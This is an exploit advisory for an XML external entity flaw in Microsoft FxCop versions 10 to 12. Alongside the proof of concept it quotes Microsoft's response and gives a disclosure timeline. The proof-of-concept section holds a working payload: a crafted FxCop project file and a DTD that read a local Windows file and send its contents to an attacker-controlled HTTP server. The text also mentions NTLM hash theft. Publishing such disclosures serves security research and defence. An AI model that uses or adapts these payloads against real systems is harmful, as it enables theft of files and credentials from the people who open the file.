59 lines
No EOL
2.1 KiB
Text
59 lines
No EOL
2.1 KiB
Text
# Exploit Title: Microsoft Windows FxCop 10/12 - XML External Entity Injection
|
|
# Date: 2018-03-15
|
|
# Exploit Author: Debashis Pal
|
|
# Vendor Homepage: www.microsoft.com
|
|
# Version: Microsoft Windows "FxCop" v10-12
|
|
# CVE : N/A
|
|
|
|
***Greetz: indoushka|Eduardo|Dirty0tis***
|
|
|
|
Security Issue:
|
|
================
|
|
FxCop is vulnerable to XML injection attacks allowing local file exfiltration and or NTLM hash theft. Tested in Windows 7 and Windows 10 download SDK it works in both.
|
|
If you have the the particular SDK in question it is probably there but needs to be installed as it was for me.
|
|
|
|
|
|
MSRC Response:
|
|
=============
|
|
"Weíve determined that the issue was fixed in FxCop 14.0, but that it repros in versions earlier than that (e.g. 10.0 -12.0 as far as SDKs are concerned, with version 13.0 skipped).
|
|
We have confirmation that the SDKs for Win8+ donít ship FxCop
|
|
We are going to pull Win7 SDKs containing v10-v12 of FxCop. Dissecting SDKs and replacing the tool in situ is fraught with peril, and chaining in a later FxCop to run
|
|
after an SDKís install (if even feasible) would just draw attention to the problem.
|
|
Visual Studio (specifically, C++) ships a trimmed-down version of the Windows 7 SDK, but it does not include FxCop, and so is unaffected.
|
|
|
|
In summary, newer versions of FxCop are unaffected and we will pull afflicted versions from availability."
|
|
|
|
|
|
Exploit/POC:
|
|
=============
|
|
1) python -m SimpleHTTPServer
|
|
|
|
2) "POC.FxCop"
|
|
|
|
<?xml version="1.0"?>
|
|
<!DOCTYPE roottag [
|
|
<!ENTITY % file SYSTEM "c:\Windows\system.ini">
|
|
<!ENTITY % dtd SYSTEM "http://ATTACKER-IP:8000/payload.dtd">
|
|
%dtd;]>
|
|
<FxCopProject Version="1.36" Name="My FxCop Project">&send;</FxCopProject>
|
|
|
|
|
|
3) "payload.dtd"
|
|
|
|
<?xml version="1.0" encoding="UTF-8"?>
|
|
<!ENTITY % all "<!ENTITY send SYSTEM 'http://ATTACKER-IP:8000?%file;'>">
|
|
%all;
|
|
|
|
4) Import or Open "POC.FxCop" file in FxCop
|
|
|
|
|
|
Files get exfiltrated to attacker server.
|
|
|
|
|
|
Disclosure Timeline:
|
|
=============================
|
|
Vendor Notification: March 15, 2018
|
|
Vendor opens MSRC Case 44322?: March 16, 2018
|
|
Vendor reproduces issue : April 6, 2018
|
|
Vendor decides to pull all download links instead of advisory or fix : April 9, 2018
|
|
May 9, 2018 : Public Disclosure |